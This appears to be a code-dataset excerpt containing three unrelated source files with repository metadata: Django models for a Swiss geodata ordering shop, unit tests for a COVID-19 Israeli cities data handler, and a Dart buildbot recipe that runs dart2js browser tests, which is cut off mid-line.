import logging import uuid from django.conf import settings from django.core.validators import RegexValidator from django.contrib.gis.db import models from django.contrib.gis.geos import Polygon from django.contrib.auth import get_user_model from django.contrib.postgres.search import SearchVectorField from django.contrib.postgres.indexes import GinIndex, BTreeIndex from django.utils import timezone from django.utils.html import mark_safe from django.utils.translation import gettext_lazy as _ from django.urls import reverse from djmoney.money import Money from djmoney.models.fields import MoneyField from .pricing import ProductPriceCalculator from .helpers import RandomFileName, send_geoshop_email LOGGER = logging.getLogger(__name__) UserModel = get_user_model() class AbstractIdentity(models.Model): first_name = models.CharField(_('first_name'), max_length=50, blank=True) last_name = models.CharField(_('last_name'), max_length=150, blank=True) email = models.EmailField(_('email'), max_length=254, blank=True) street = models.CharField(_('street'), max_length=100, blank=True) street2 = models.CharField(_('street2'), max_length=100, blank=True) postcode = models.CharField(_('postcode'), max_length=10, blank=True) city = models.CharField(_('city'), max_length=50, blank=True) country = models.CharField(_('country'), max_length=50, blank=True) company_name = models.CharField( _('company_name'), max_length=250, blank=True) phone = models.CharField(_('phone'), max_length=50, blank=True) class Meta: abstract = True def __str__(self): if self.company_name: return '%s %s (%s)' % (self.last_name, self.first_name, self.company_name) return '%s %s' % (self.last_name, self.first_name) class Contact(AbstractIdentity): belongs_to = models.ForeignKey( UserModel, on_delete=models.CASCADE, verbose_name=_('belongs_to')) sap_id = models.BigIntegerField(_('sap_id'), null=True, blank=True) subscribed = models.BooleanField(_('subscribed'), default=False) is_active = models.BooleanField(_('is_active'), default=True) class Meta: db_table = 'contact' verbose_name = _('contact') class Copyright(models.Model): description = models.TextField(blank=True) class Meta: db_table = 'copyright' verbose_name = _('copyright') def __str__(self): return self.description class Document(models.Model): name = models.CharField(_('name'), max_length=80) link = models.URLField( _('link'), help_text=_('Please complete the above URL'), default='https://sitn.ne.ch', max_length=2000 ) class Meta: db_table = 'document' verbose_name = _('document') def __str__(self): return '%s (%s)' % (self.name, self.link.split("/")[-1]) class DataFormat(models.Model): name = models.CharField(_('name'), max_length=100, blank=True) class Meta: db_table = 'data_format' verbose_name = _('data_format') def __str__(self): return self.name class OrderType(models.Model): name = models.CharField(_('name'), max_length=30, blank=True) class Meta: db_table = 'order_type' verbose_name = _('order type') verbose_name_plural = _('order types') def __str__(self): return self.name class Identity(AbstractIdentity): user = models.OneToOneField( UserModel, on_delete=models.SET_NULL, verbose_name=_('user'), blank=True, null=True) sap_id = models.BigIntegerField(_('sap_id'), null=True, blank=True) ide_id = models.CharField(_('ide_number'), max_length=15, null=True, blank=True, validators=[ RegexValidator( regex=r'^CHE-([0-9]{3}\.){2}[0-9]{3}$', message=_('IDE number is not valid'), ), ]) contract_accepted = models.DateField(_('contract_accepted'), null=True, blank=True) is_public = models.BooleanField(_('is_public'), default=False) subscribed = models.BooleanField(_('subscribed'), default=False) birthday = models.DateField(_('birthday'), null=True, blank=True) class Meta: db_table = 'identity' verbose_name = _('identity') class Metadata(models.Model): id_name = models.CharField(_('id_name'), max_length=50, unique=True) name = models.CharField(_('name'), max_length=300, blank=True) description_short = models.CharField(_('description_short'), max_length=500, blank=True) description_long = models.TextField(_('description_long'), blank=True) datasource = models.CharField(_('datasource'), max_length=260, blank=True, null=True) scale = models.CharField(_('scale'), max_length=500, blank=True) geocat_link = models.CharField(_('geocat_link'), max_length=2000, blank=True) legend_link = models.CharField(_('legend_link'), max_length=2000, blank=True) image_link = models.CharField(_('image_link'), max_length=250, default=settings.DEFAULT_METADATA_IMAGE_URL, blank=True) copyright = models.ForeignKey( Copyright, models.SET_NULL, verbose_name=_('copyright'), blank=True, null=True) documents = models.ManyToManyField(Document, verbose_name=_('documents'), blank=True) contact_persons = models.ManyToManyField( Identity, verbose_name=_('contact_persons'), related_name='contact_persons', through='MetadataContact') modified_date = models.DateTimeField(auto_now=True) modified_user = models.ForeignKey( UserModel, models.PROTECT, verbose_name=_('modified_user'), related_name='modified_user') class Meta: db_table = 'metadata' verbose_name = _('metadata') def __str__(self): return self.id_name def get_legend_link(self): if self.legend_link is None or self.legend_link == '': return None if self.legend_link == '0': return settings.AUTO_LEGEND_URL + self.id_name if self.legend_link == 'intra': return settings.INTRA_LEGEND_URL + self.id_name if self.legend_link.startswith('http'): return self.legend_link return settings.MEDIA_URL + self.legend_link def legend_tag(self): if self.get_legend_link(): return mark_safe('<img src="%s" />' % self.get_legend_link()) legend_tag.short_description = _('legend') def image_tag(self): if self.image_link is None or self.image_link == '': return mark_safe('<img src="%s%s" />' % (settings.MEDIA_URL, 'no_image.jpg')) return mark_safe('<img src="%s%s" />' % (settings.MEDIA_URL, self.image_link)) image_tag.short_description = _('image') class MetadataContact(models.Model): metadata = models.ForeignKey(Metadata, models.CASCADE, verbose_name=_('metadata')) contact_person = models.ForeignKey( Identity, models.CASCADE, verbose_name=_('contact_person'), limit_choices_to={'is_public': True}) metadata_role = models.CharField(_('role'), max_length=150, default='Gestionnaire') class Meta: db_table = 'metadata_contact_persons' verbose_name = _('metadata_contact') def __str__(self): return '%s - %s (%s)' % (self.contact_person, self.metadata, self.metadata_role) class Pricing(models.Model): class PricingType(models.TextChoices): FREE = 'FREE', _('Free') SINGLE = 'SINGLE', _('Single') BY_NUMBER_OBJECTS = 'BY_NUMBER_OBJECTS', _('By number of objects') BY_AREA = 'BY_AREA', _('By area') FROM_PRICING_LAYER = 'FROM_PRICING_LAYER', _('From a pricing layer') FROM_CHILDREN_OF_GROUP = 'FROM_CHILDREN_OF_GROUP', _('From children products of this group') MANUAL = 'MANUAL', _('Manual') name = models.CharField(_('name'), max_length=100, null=True, blank=True) pricing_type = models.CharField( _('pricing_type'), max_length=30, choices=PricingType.choices) base_fee = MoneyField( _('base_fee'), max_digits=14, decimal_places=2, default_currency='CHF', null=True, blank=True) min_price = MoneyField( _('min_price'), max_digits=14, decimal_places=2, default_currency='CHF', null=True, blank=True) max_price = MoneyField( _('max_price'), max_digits=14, decimal_places=2, default_currency='CHF', null=True, blank=True) unit_price = MoneyField( _('unit_price'), max_digits=14, decimal_places=2, default_currency='CHF', null=True, blank=True) class Meta: db_table = 'pricing' verbose_name = _('pricing') def get_price(self, polygon): price = ProductPriceCalculator.get_price( pricing_instance=self, polygon=polygon ) if price is None: return None, None if self.min_price and price < self.min_price: return self.min_price, self.base_fee if self.max_price and price > self.max_price: return None, None return price, self.base_fee def __str__(self): return '%s + %s CHF de taxe' % (self.name, self.base_fee) class PricingGeometry(models.Model): name = models.CharField(_('name'), max_length=300, null=True) unit_price = MoneyField( _('price'), max_digits=14, decimal_places=2, default_currency='CHF', null=True) geom = models.GeometryField(_('geom'), srid=settings.DEFAULT_SRID) pricing = models.ForeignKey(Pricing, models.CASCADE, verbose_name=_('pricing'), null=True) class Meta: db_table = 'pricing_layer' verbose_name = _('pricing_layer') indexes = (BTreeIndex(fields=('name',)),) def __str__(self): return self.name class Product(models.Model): class ProductStatus(models.TextChoices): DRAFT = 'DRAFT', _('Draft') PUBLISHED = 'PUBLISHED', _('Published') PUBLISHED_ONLY_IN_GROUP = 'PUBLISHED_ONLY_IN_GROUP', _('Published only in group') DEPRECATED = 'DEPRECATED', _('Deprecated') metadata = models.ForeignKey( Metadata, models.SET_NULL, verbose_name=_('metadata'), blank=True, null=True) label = models.CharField(_('label'), max_length=250, unique=True) status = models.CharField( _('status'), max_length=30, choices=ProductStatus.choices, default=ProductStatus.DRAFT) group = models.ForeignKey( 'self', models.SET_NULL, verbose_name=_('group'), blank=True, null=True, related_name='products') provider = models.ForeignKey( UserModel, models.PROTECT, verbose_name=_('provider'), null=True, limit_choices_to={ 'groups__name': 'extract' }) pricing = models.ForeignKey(Pricing, models.PROTECT, verbose_name=_('pricing')) free_when_subscribed = models.BooleanField(_('free_when_subscribed'), default=False) order = models.BigIntegerField(_('order_index'), blank=True, null=True) thumbnail_link = models.CharField( _('thumbnail_link'), max_length=250, default=settings.DEFAULT_PRODUCT_THUMBNAIL_URL) ts = SearchVectorField(null=True) geom = models.PolygonField(_('geom'), srid=settings.DEFAULT_SRID, default=Polygon.from_bbox( (2519900, 1186430, 2578200, 1227030) )) class Meta: db_table = 'product' verbose_name = _('product') ordering = ['order'] indexes = [GinIndex(fields=["ts"])] def __str__(self): return self.label def thumbnail_tag(self): if self.thumbnail_link is None or self.thumbnail_link == '': return mark_safe('<img src="%s%s" />' % (settings.MEDIA_URL, 'no_image.jpg')) return mark_safe('<img src="%s%s" />' % (settings.MEDIA_URL, self.thumbnail_link)) thumbnail_tag.short_description = _('thumbnail') class Order(models.Model): class OrderStatus(models.TextChoices): DRAFT = 'DRAFT', _('Draft') PENDING = 'PENDING', _('Pending') QUOTE_DONE = 'QUOTE_DONE', _('Quote done') READY = 'READY', _('Ready') IN_EXTRACT = 'IN_EXTRACT', _('In extract') PARTIALLY_DELIVERED = 'PARTIALLY_DELIVERED', _('Partially delivered') PROCESSED = 'PROCESSED', _('Processed') ARCHIVED = 'ARCHIVED', _('Archived') REJECTED = 'REJECTED', _('Rejected') title = models.CharField(_('title'), max_length=255, validators=[ RegexValidator( regex=r'^[^<>%$"\(\)\n\r]*$', message=_('Title contains forbidden characters'), ), ]) description = models.TextField(_('description'), blank=True) processing_fee = MoneyField( _('processing_fee'), max_digits=14, decimal_places=2, default_currency='CHF', blank=True, null=True) total_without_vat = MoneyField( _('total_without_vat'), max_digits=14, decimal_places=2, default_currency='CHF', blank=True, null=True) part_vat = MoneyField( _('part_vat'), max_digits=14, decimal_places=2, default_currency='CHF', blank=True, null=True) total_with_vat = MoneyField( _('total_with_vat'), max_digits=14, decimal_places=2, default_currency='CHF', blank=True, null=True) geom = models.PolygonField(_('geom'), srid=settings.DEFAULT_SRID) client = models.ForeignKey(UserModel, models.PROTECT, verbose_name=_('client'), blank=True) invoice_contact = models.ForeignKey( Contact, models.PROTECT, verbose_name=_('invoice_contact'), related_name='invoice_contact', blank=True, null=True ) invoice_reference = models.CharField(_('invoice_reference'), max_length=255, blank=True) email_deliver = models.EmailField(_('email_deliver'), max_length=254, blank=True, null=True) order_type = models.ForeignKey(OrderType, models.PROTECT, verbose_name=_('order_type')) status = models.CharField( _('status'), max_length=20, choices=OrderStatus.choices, default=OrderStatus.DRAFT) date_ordered = models.DateTimeField(_('date_ordered'), blank=True, null=True) date_downloaded = models.DateTimeField(_('date_downloaded'), blank=True, null=True) date_processed = models.DateTimeField(_('date_processed'), blank=True, null=True) extract_result = models.FileField(upload_to='extract', null=True, blank=True) download_guid = models.UUIDField(_('download_guid'), null=True, blank=True) class Meta: db_table = 'order' ordering = ['-date_ordered'] verbose_name = _('order') def _reset_prices(self): self.processing_fee = None self.total_without_vat = None self.part_vat = None self.total_with_vat = None def set_price(self): self._reset_prices() items = self.items.all() if items == []: return False self.total_without_vat = Money(0, 'CHF') self.processing_fee = Money(0, 'CHF') for item in items: if item.base_fee is None: self._reset_prices() return False if item.base_fee > self.processing_fee: self.processing_fee = item.base_fee self.total_without_vat += item.price self.total_without_vat += self.processing_fee self.part_vat = self.total_without_vat * settings.VAT self.total_with_vat = self.total_without_vat + self.part_vat return True def quote_done(self): price_is_set = self.set_price() if price_is_set: self.status = self.OrderStatus.QUOTE_DONE self.save() send_geoshop_email( _('Geoshop - Quote has been done'), recipient=self.email_deliver or self.client.identity, template_name='email_quote_done', template_data={ 'order_id': self.id, 'first_name': self.client.identity.first_name, 'last_name': self.client.identity.last_name } ) return price_is_set def _expand_product_groups(self): items = self.items.all() for item in items: # if product is a group (if product has children) if item.product.products.exists(): for product in item.product.products.all(): # only pick products that intersect current order geom if product.geom.intersects(self.geom): new_item = OrderItem( order=self, product=product, data_format=item.data_format ) # If the data format for the group is not available for the item, # pick the first possible if item.data_format not in item.available_formats: new_item.data_format = product.product_formats.all().first().data_format new_item.set_price() new_item.save() item.delete() def confirm(self): self._expand_product_groups() items = self.items.all() has_all_prices_calculated = True for item in items: if item.price_status == OrderItem.PricingStatus.PENDING: item.ask_price() has_all_prices_calculated = has_all_prices_calculated and False else: item.status = OrderItem.OrderItemStatus.IN_EXTRACT if has_all_prices_calculated: self.date_ordered = timezone.now() self.download_guid = uuid.uuid4() self.status = Order.OrderStatus.READY else: self.status = Order.OrderStatus.PENDING def next_status_on_extract_input(self): previous_accepted_status = [ Order.OrderStatus.READY, Order.OrderStatus.IN_EXTRACT, Order.OrderStatus.PARTIALLY_DELIVERED ] if self.status not in previous_accepted_status: raise Exception("Order has an inappropriate status after input") items_statuses = set(self.items.all().values_list('status', flat=True)) if OrderItem.OrderItemStatus.IN_EXTRACT in items_statuses: if OrderItem.OrderItemStatus.PROCESSED in items_statuses: self.status = Order.OrderStatus.PARTIALLY_DELIVERED else: self.status = Order.OrderStatus.READY else: if OrderItem.OrderItemStatus.PROCESSED in items_statuses: self.status = Order.OrderStatus.PROCESSED self.date_processed = timezone.now() send_geoshop_email( _('Geoshop - Download ready'), recipient=self.email_deliver or self.client.identity, template_name='email_download_ready', template_data={ 'order_id': self.id, 'download_guid': self.download_guid, 'front_url': '{}://{}{}'.format( settings.FRONT_PROTOCOL, settings.FRONT_URL, settings.FRONT_HREF ), 'first_name': self.client.identity.first_name, 'last_name': self.client.identity.last_name, } ) else: self.status = Order.OrderStatus.REJECTED return self.status @property def geom_srid(self): return self.geom.srid @property def geom_area(self): return self.geom.area def __str__(self): return '%s - %s' % (self.id, self.title) class OrderItem(models.Model): class PricingStatus(models.TextChoices): PENDING = 'PENDING', _('Pending') CALCULATED = 'CALCULATED', _('Calculated') IMPORTED = 'IMPORTED', _('Imported') # from old database class OrderItemStatus(models.TextChoices): PENDING = 'PENDING', _('Pending') IN_EXTRACT = 'IN_EXTRACT', _('In extract') PROCESSED = 'PROCESSED', _('Processed') ARCHIVED = 'ARCHIVED', _('Archived') REJECTED = 'REJECTED', _('Rejected') order = models.ForeignKey( Order, models.CASCADE, related_name='items', verbose_name=_('order'), blank=True, null=True) product = models.ForeignKey( Product, models.PROTECT, verbose_name=_('product'), blank=True, null=True) data_format = models.ForeignKey( DataFormat, models.PROTECT, verbose_name=_('data_format'), blank=True, null=True) srid = models.IntegerField(_('srid'), default=settings.DEFAULT_SRID) last_download = models.DateTimeField(_('last_download'), blank=True, null=True) price_status = models.CharField( _('price_status'), max_length=20, choices=PricingStatus.choices, default=PricingStatus.PENDING) status = models.CharField( _('status'), max_length=20, choices=OrderItemStatus.choices, default=OrderItemStatus.PENDING) _price = MoneyField( _('price'), max_digits=14, decimal_places=2, default_currency='CHF', null=True, blank=True) _base_fee = MoneyField( _('base_fee'), max_digits=14, decimal_places=2, default_currency='CHF', null=True, blank=True) extract_result = models.FileField(upload_to=RandomFileName('extract'), null=True, blank=True) comment = models.TextField(_('comment'), null=True, blank=True) class Meta: db_table = 'order_item' verbose_name = _('order_item') @property def available_formats(self): queryset = ProductFormat.objects.filter( product=self.product).values_list('data_format__name', flat=True) return list(queryset) def _get_price_values(self, price_value): if self.price_status == OrderItem.PricingStatus.PENDING: LOGGER.info("You are trying to get a pricing value but pricing status is still PENDING") return None return price_value @property def price(self): return self._get_price_values(self._price) @property def base_fee(self): return self._get_price_values(self._base_fee) def set_price(self, price=None, base_fee=None): self._price = None self._base_fee = None self.price_status = OrderItem.PricingStatus.PENDING # prices are 0 when user or invoice_contact is subscribed to the product if self.product.free_when_subscribed: if self.order.client.identity.subscribed or ( self.order.invoice_contact is not None and self.order.invoice_contact.subscribed): self._price = Money(0, 'CHF') self._base_fee = Money(0, 'CHF') self.price_status = OrderItem.PricingStatus.CALCULATED return # prices are 0 when order is for public authorities or academic purposes if self.order.order_type.name in ( 'Communal', 'Cantonal', 'Fédéral', 'Académique'): self._price = Money(0, 'CHF') self._base_fee = Money(0, 'CHF') self.price_status = OrderItem.PricingStatus.CALCULATED return if self.product.pricing.pricing_type != Pricing.PricingType.MANUAL: if self.product.pricing.pricing_type == Pricing.PricingType.FROM_CHILDREN_OF_GROUP: self._price = Money(0, 'CHF') self._base_fee = Money(0, 'CHF') for product in self.product.products.all(): if product.geom.intersects(self.order.geom): price, base_fee = product.pricing.get_price(self.order.geom) if price: self._price += price if base_fee: self._base_fee = base_fee if base_fee > self._base_fee else self._base_fee else: self._price, self._base_fee = self.product.pricing.get_price(self.order.geom) if self._price is not None: self.price_status = OrderItem.PricingStatus.CALCULATED return else: if price is not None: self._price = price self._base_fee = base_fee self.price_status = OrderItem.PricingStatus.CALCULATED return self.price_status = OrderItem.PricingStatus.PENDING return def ask_price(self): if self.product.pricing.pricing_type == Pricing.PricingType.MANUAL: send_geoshop_email( _('Geoshop - Quote requested'), template_name='email_admin', template_data={ 'messages': [_('A new quote has been requested:')], 'details': { _('order'): self.order.id, _('product'): self.product.label, _('link'): reverse("admin:api_order_change", args=[self.order.id]) } } ) class ProductField(models.Model): class ProductFieldType(models.TextChoices): REAL = 'REAL', 'Real' DATE = 'DATE', 'Date' CHAR = 'CHAR', 'Character' VARCHAR = 'VARCHAR', 'Varying character' INT = 'INT', 'Integer' BIGINT = 'BIGINT', 'Big integer' FLOAT = 'FLOAT', 'Floating number' db_name = models.CharField(_('db_name'), max_length=50, blank=True) export_name = models.CharField(_('export_name'), max_length=50, blank=True) field_type = models.CharField( _('field_type'), max_length=10, choices=ProductFieldType.choices, blank=True) field_length = models.SmallIntegerField(_('field_length'), ) product = models.ForeignKey(Product, verbose_name=_('product'), on_delete=models.CASCADE) class Meta: db_table = 'product_field' verbose_name = _('product_field') class ProductFormat(models.Model): product = models.ForeignKey( Product, models.CASCADE, verbose_name=_('product'), related_name='product_formats') data_format = models.ForeignKey(DataFormat, models.CASCADE, verbose_name=_('data_format')) # extraction manuelle ou automatique is_manual = models.BooleanField(_('is_manual'), default=False) class Meta: db_table = 'product_format' unique_together = (('product', 'data_format'),) verbose_name = _('product_format') class UserChange(AbstractIdentity): client = models.ForeignKey(UserModel, models.CASCADE, verbose_name=_('client')) ide_id = models.CharField(_('ide_number'), max_length=15, null=True, blank=True, validators=[ RegexValidator( regex=r'^CHE-([0-9]{3}\.){2}[0-9]{3}$', message=_('IDE number is not valid'), ), ]) class Meta: db_table = 'user_change' verbose_name = _('user_change')
true
true
f71f078a37046cc1c37c66c423f06348996abe5e
4,144
py
Python
tests/data_handler/test_cities.py
natylaza89/covid19_il
ee5c46670383e76074edac4efe19f8d20e2f914d
[ "MIT" ]
1
2020-11-17T17:57:17.000Z
2020-11-17T17:57:17.000Z
tests/data_handler/test_cities.py
natylaza89/covid19_il
ee5c46670383e76074edac4efe19f8d20e2f914d
[ "MIT" ]
null
null
null
tests/data_handler/test_cities.py
natylaza89/covid19_il
ee5c46670383e76074edac4efe19f8d20e2f914d
[ "MIT" ]
1
2020-11-17T17:57:20.000Z
2020-11-17T17:57:20.000Z
from collections import defaultdict from tests.data_handler.data_handler_tests_utils import DataHandlerTestsUtils from covid19_il.data_handler.data_handlers.cities import Cities from covid19_il.data_handler.enums.resource_id import ResourceId class TestCities(DataHandlerTestsUtils): """ Tests for Cities Data Handler Class. Methods: setUp(self): Announce of starting the class's tests, initialize & verify cities data handler's instance. _check_base_step_of_all_methods(self): General base test for all methods. test_cities_by_date(self): Tests results of tests cities by specific date and its results as city's tuples. test_cases_statistics(self): Tests the test cases statistics data & type. """ def setUp(self) -> None: """ Announce of starting the class's tests, initialize & verify Cities data handler's instance """ print("testing Cities Class...") self.data_handler_1 = self._init_mocked_data_handler(json_file_path="json_files/cities_mocked_data.json", resource_id_enum=ResourceId.CITIES_POPULATION_RESOURCE_ID) self._check_base_step_of_all_methods(data_handler=self.data_handler_1, class_type=Cities) def test_cities_by_date(self) -> None: """ Tests results of tests cities by specific date and its results as city's tuples """ # Get Data data = self.data_handler_1.cities_by_date("2020-10-03") results = defaultdict(None, {"אבו ג'ווייעד (שבט)": Cities.city(City_name="אבו ג'ווייעד (שבט)", City_code='967', Date='2020-10-03', Cumulative_verified_cases='0', Cumulated_recovered='0', Cumulated_deaths='0', Cumulated_number_of_tests='225', Cumulated_number_of_diagnostic_tests='225'), 'אבו גוש': Cities.city(City_name='אבו גוש', City_code='472', Date='2020-10-03', Cumulative_verified_cases='206', Cumulated_recovered='178', Cumulated_deaths='0', Cumulated_number_of_tests='4101', Cumulated_number_of_diagnostic_tests='3993')}) # Check yield type as a generator self.assertIsInstance(data, type(_ for _ in range(0))) for _, city in data: self.assertIs(type(city), Cities.city) # Check for values equality for data_value, result_value in zip(data, results.values()): self.assertTupleEqual(data_value, result_value) def test_top_cases_in_cities(self) -> None: """ Tests results data & type of top cases in cities """ # Get Data results = defaultdict(None, {'Cumulative_verified_cases': defaultdict(int, {'אבו גוש': 211, "אבו ג'ווייעד (שבט)": 14}), 'Cumulated_recovered': defaultdict(int, {'אבו גוש': 206, "אבו ג'ווייעד (שבט)": 0}), 'Cumulated_deaths': defaultdict(int, {"אבו ג'ווייעד (שבט)": 0, 'אבו גוש': 0}), 'Cumulated_number_of_tests': defaultdict(int, {'אבו גוש': 4508, "אבו ג'ווייעד (שבט)": 250}), 'Cumulated_number_of_diagnostic_tests': defaultdict(int, {'אבו גוש': 4365, "אבו ג'ווייעד (שבט)": 250}) }) data = self.data_handler_1.top_cases_in_cities() # Data Validation self._test_two_level_depth_nested_dictionaries(data, results) def test_cases_statistics(self) -> None: """ Tests the test cases statistics data & type """ # Get Data results = {'Cumulative_verified_cases': {'min': 0, 'max': 212, 'mean': 25.96, 'sum': 12980}, 'Cumulated_recovered': {'min': 0, 'max': 206, 'mean': 18.502, 'sum': 9251}, 'Cumulated_deaths': {'min': 0, 'max': 0, 'mean': 0.0, 'sum': 0}, 'Cumulated_number_of_tests': {'min': 0, 'max': 4584, 'mean': 677.404, 'sum': 338702}, 'Cumulated_number_of_diagnostic_tests': {'min': 0, 'max': 4439, 'mean': 665.46, 'sum': 332730}} data = self.data_handler_1.cases_statistics() # Data Validation self._test_two_level_depth_nested_dictionaries(data, results)
62.787879
294
0.644546
from collections import defaultdict from tests.data_handler.data_handler_tests_utils import DataHandlerTestsUtils from covid19_il.data_handler.data_handlers.cities import Cities from covid19_il.data_handler.enums.resource_id import ResourceId class TestCities(DataHandlerTestsUtils): def setUp(self) -> None: print("testing Cities Class...") self.data_handler_1 = self._init_mocked_data_handler(json_file_path="json_files/cities_mocked_data.json", resource_id_enum=ResourceId.CITIES_POPULATION_RESOURCE_ID) self._check_base_step_of_all_methods(data_handler=self.data_handler_1, class_type=Cities) def test_cities_by_date(self) -> None: data = self.data_handler_1.cities_by_date("2020-10-03") results = defaultdict(None, {"אבו ג'ווייעד (שבט)": Cities.city(City_name="אבו ג'ווייעד (שבט)", City_code='967', Date='2020-10-03', Cumulative_verified_cases='0', Cumulated_recovered='0', Cumulated_deaths='0', Cumulated_number_of_tests='225', Cumulated_number_of_diagnostic_tests='225'), 'אבו גוש': Cities.city(City_name='אבו גוש', City_code='472', Date='2020-10-03', Cumulative_verified_cases='206', Cumulated_recovered='178', Cumulated_deaths='0', Cumulated_number_of_tests='4101', Cumulated_number_of_diagnostic_tests='3993')}) self.assertIsInstance(data, type(_ for _ in range(0))) for _, city in data: self.assertIs(type(city), Cities.city) for data_value, result_value in zip(data, results.values()): self.assertTupleEqual(data_value, result_value) def test_top_cases_in_cities(self) -> None: results = defaultdict(None, {'Cumulative_verified_cases': defaultdict(int, {'אבו גוש': 211, "אבו ג'ווייעד (שבט)": 14}), 'Cumulated_recovered': defaultdict(int, {'אבו גוש': 206, "אבו ג'ווייעד (שבט)": 0}), 'Cumulated_deaths': defaultdict(int, {"אבו ג'ווייעד (שבט)": 0, 'אבו גוש': 0}), 'Cumulated_number_of_tests': defaultdict(int, {'אבו גוש': 4508, "אבו ג'ווייעד (שבט)": 250}), 'Cumulated_number_of_diagnostic_tests': defaultdict(int, {'אבו גוש': 4365, "אבו ג'ווייעד (שבט)": 250}) }) data = self.data_handler_1.top_cases_in_cities() # Data Validation self._test_two_level_depth_nested_dictionaries(data, results) def test_cases_statistics(self) -> None: # Get Data results = {'Cumulative_verified_cases': {'min': 0, 'max': 212, 'mean': 25.96, 'sum': 12980}, 'Cumulated_recovered': {'min': 0, 'max': 206, 'mean': 18.502, 'sum': 9251}, 'Cumulated_deaths': {'min': 0, 'max': 0, 'mean': 0.0, 'sum': 0}, 'Cumulated_number_of_tests': {'min': 0, 'max': 4584, 'mean': 677.404, 'sum': 338702}, 'Cumulated_number_of_diagnostic_tests': {'min': 0, 'max': 4439, 'mean': 665.46, 'sum': 332730}} data = self.data_handler_1.cases_statistics() # Data Validation self._test_two_level_depth_nested_dictionaries(data, results)
true
true
f71f07ba0a89ab8d3a9de7b6745a6368217f2aa6
8,554
py
Python
scripts/slave/recipes/dart/dart2js_nobuild.py
mithro/chromium-build
98d83e124dc08510756906171922a22ba27b87fa
[ "BSD-3-Clause" ]
null
null
null
scripts/slave/recipes/dart/dart2js_nobuild.py
mithro/chromium-build
98d83e124dc08510756906171922a22ba27b87fa
[ "BSD-3-Clause" ]
null
null
null
scripts/slave/recipes/dart/dart2js_nobuild.py
mithro/chromium-build
98d83e124dc08510756906171922a22ba27b87fa
[ "BSD-3-Clause" ]
null
null
null
# Copyright 2016 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. DEPS = [ 'depot_tools/bot_update', 'depot_tools/gclient', 'file', 'depot_tools/gsutil', 'recipe_engine/context', 'recipe_engine/path', 'recipe_engine/platform', 'recipe_engine/properties', 'recipe_engine/python', 'recipe_engine/step', 'test_utils', 'zip', ] all_runtimes = ['d8', 'jsshell', 'ie9', 'ie10', 'ie11', 'ff', 'safari', 'chrome', 'safarimobilesim', 'drt', 'chromeff', 'ie10chrome', 'ie11ff'] multiple_runtimes = {'chromeff': ['chrome', 'ff'], 'ie10chrome': ['ie10', 'chrome'], 'ie11ff': ['ie11', 'ff']} all_options = {'hostchecked': '--host-checked', 'minified': '--minified', 'cps': '--cps-ir', 'csp': '--csp'} build_directories = {'linux': 'out/ReleaseX64', 'win': 'out/ReleaseX64', 'mac': 'xcodebuild/ReleaseX64'} IsFirstTestStep = True def RunTests(api, test_args, test_specs, use_xvfb=False): for test_spec in test_specs: args = [] args.extend(test_args) global IsFirstTestStep if IsFirstTestStep: IsFirstTestStep = False else: args.append('--append_logs') args.extend(test_spec['tests']) with api.context(cwd=api.path['checkout']): if use_xvfb: xvfb_cmd = ['xvfb-run', '-a', '--server-args=-screen 0 1024x768x24'] xvfb_cmd.extend(['python', '-u', './tools/test.py']) xvfb_cmd.extend(args) api.step(test_spec['name'], xvfb_cmd) else: api.python(test_spec['name'], api.path['checkout'].join('tools', 'test.py'), args=args) def sdk_url(channel, platform, arch, mode, revision): platforms = { 'linux': 'linux', 'win': 'windows', 'mac': 'macos', } platform = platforms[platform] # The paths here come from dart-lang/sdk/tools/bots/bot_utils.py return ('gs://dart-archive/channels/%s/raw/hash/%s/sdk/dartsdk-%s-%s-%s.zip' % (channel, revision, platform, arch, mode)) def RunSteps(api): builder_name = str(api.properties.get('buildername')) # Convert from unicode. builder_fragments = builder_name.split('-') assert len(builder_fragments) > 3 assert builder_fragments[0] == 'dart2js' system = builder_fragments[1] assert system in ['linux', 'mac10.11', 'win7', 'win8', 'win10'] runtime = builder_fragments[2] assert runtime in all_runtimes channel = builder_fragments[-1] assert channel in ['be', 'dev', 'stable', 'integration'] try: num_shards = int(builder_fragments[-2]) shard = int(builder_fragments[-3]) sharded = True options_end = - 3 except ValueError: sharded = False options_end = - 1 options = builder_fragments[3:options_end] for option in options: assert all_options.has_key(option) api.gclient.set_config('dart') api.path.c.dynamic_paths['tools'] = None api.bot_update.ensure_checkout() api.path['tools'] = api.path['checkout'].join('tools') revision = api.properties['revision'] api.gclient.runhooks() with api.step.defer_results(): with api.context(cwd=api.path['checkout']): api.python('taskkill before building', api.path['checkout'].join('tools', 'task_kill.py'), args=['--kill_browsers=True'], ok_ret='any') zipfile = api.path.abspath(api.path['checkout'].join('sdk.zip')) url = sdk_url(channel, api.platform.name, 'x64', 'release', revision) api.gsutil(['cp', url, zipfile], name='Download sdk') build_dir = api.path['checkout'].join(build_directories[api.platform.name]) build_dir = api.path.abspath(build_dir) api.file.makedirs('Create build directory', build_dir) api.file.rmtree('Clean build directory', build_dir) api.zip.unzip('Unzip sdk', zipfile, build_dir) with api.step.defer_results(): runtimes = multiple_runtimes.get(runtime, [runtime]) for runtime in runtimes: # TODO(whesse): Call a script that prints the runtime version. test_args = ['--mode=release', '--arch=x64', '--use-sdk', '--compiler=dart2js', '--dart2js-batch', '--runtime=%s' % runtime, '--progress=buildbot', '-v', '--reset-browser-configuration', '--report', '--time', '--write-debug-log', '--write-test-outcome-log'] for option in options: test_args.append(all_options[option]) if sharded: test_args.extend(['--shards=%s' % num_shards, '--shard=%s' % shard]) if system in ['win7', 'win8', 'win10']: test_args.append('--builder-tag=%s' % system) if runtime in ['ie10', 'ie11']: test_args.extend(['-j6', '--timeout=120']) # Issue 28955, IE is slow. test_specs = [{'name': 'dart2js %s tests' % runtime, 'tests': ['html', 'pkg', 'samples']}, {'name': 'dart2js %s co19 tests' % runtime, 'tests': ['co19']}] else: test_specs = [ {'name': 'dart2js-%s tests' % runtime, 'tests': ['--exclude-suite=observatory_ui,co19']}, {'name': 'dart2js-%s-package tests' % runtime, 'tests': ['pkg']}, {'name': 'dart2js-%s-observatory_ui tests' % runtime, 'tests': ['observatory_ui']}, {'name': 'dart2js-%s-extra tests' % runtime, 'tests': ['dart2js_extra', 'dart2js_native']}, {'name': 'dart2js-%s-co19 tests' % runtime, 'tests': ['co19']}, ] needs_xvfb = (runtime in ['drt', 'dartium', 'chrome', 'ff'] and system == 'linux') RunTests(api, test_args, test_specs, use_xvfb=needs_xvfb) if runtime == 'd8': kernel_test_args = test_args + ['--dart2js-with-kernel'] kernel_test_specs = 